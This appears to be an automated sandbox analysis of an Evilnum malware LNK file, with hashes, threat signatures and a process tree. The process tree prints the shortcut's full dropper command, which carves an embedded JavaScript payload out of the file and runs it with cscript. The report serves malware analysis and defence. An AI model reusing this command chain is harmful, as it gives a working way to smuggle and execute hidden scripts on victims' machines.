Analysis

  • max time kernel
    137s
  • max time network
    139s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    04-02-2022 08:22

General

  • Target

    e7510a4f5a90271f278970a8cb62d116b15ff08884c072ef44e419f896d65237.lnk

  • Size

    134KB

  • MD5

    25d6eeba718af78275f2c9a4a58cd8b2

  • SHA1

    97820a79fd43f664f553c46dca682bce135b2cc3

  • SHA256

    e7510a4f5a90271f278970a8cb62d116b15ff08884c072ef44e419f896d65237

  • SHA512

    6f213fb85e5f5f37e5f80e94625dfb04df2eb8682df9dffd2b045ac376a8fdd8a5d97f6f8eda8453fea2adbc1799ae0f9247ad09a2baac9d7c9654cdab4d770e

Score
10/10

Malware Config

Signatures

  • Evilnum

    A malware family with multiple components distributed through LNK files.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\e7510a4f5a90271f278970a8cb62d116b15ff08884c072ef44e419f896d65237.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1356
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c path=C:\Windows\system32&&move "Personal Passport.jpg*lnk " "C:\Users\Admin\AppData\Local\Temp\1.lnk"&forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Pers*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"&type "C:\Users\Admin\AppData\Local\Temp\1.lnk"|find "RDE3">"C:\Users\Admin\AppData\Local\Temp\0.js"|rd a||cScrIPt "C:\Users\Admin\AppData\Local\Temp\0.js"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:868
      • C:\Windows\system32\forfiles.exe
        forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Pers*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"
        3⤵
          PID:956
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\AppData\Local\Temp\1.lnk""
          3⤵
            PID:1716
          • C:\Windows\system32\find.exe
            find "RDE3"
            3⤵
              PID:1780
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" rd a"
              3⤵
                PID:1092
              • C:\Windows\system32\cscript.exe
                cScrIPt "C:\Users\Admin\AppData\Local\Temp\0.js"
                3⤵
                  PID:760

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            • memory/1356-54-0x000007FEFB711000-0x000007FEFB713000-memory.dmp

              Filesize

              8KB